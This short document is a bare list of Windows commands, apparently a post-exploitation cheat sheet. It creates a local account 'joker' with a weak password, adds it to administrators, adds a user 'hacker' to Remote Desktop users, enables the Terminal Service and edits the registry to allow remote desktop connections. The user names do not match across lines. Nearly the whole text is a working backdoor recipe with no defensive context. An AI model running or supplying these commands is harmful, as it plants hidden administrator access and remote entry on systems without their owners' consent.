net user /add joker password123
net localgroup administrators /add joker
net localgroup "Remote Desktop users" hacker /add
net start TermService
tasklist /svc | findstr /C:TermService
sc config TermService start=auto
Note: You need to reboot after invoking this...
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f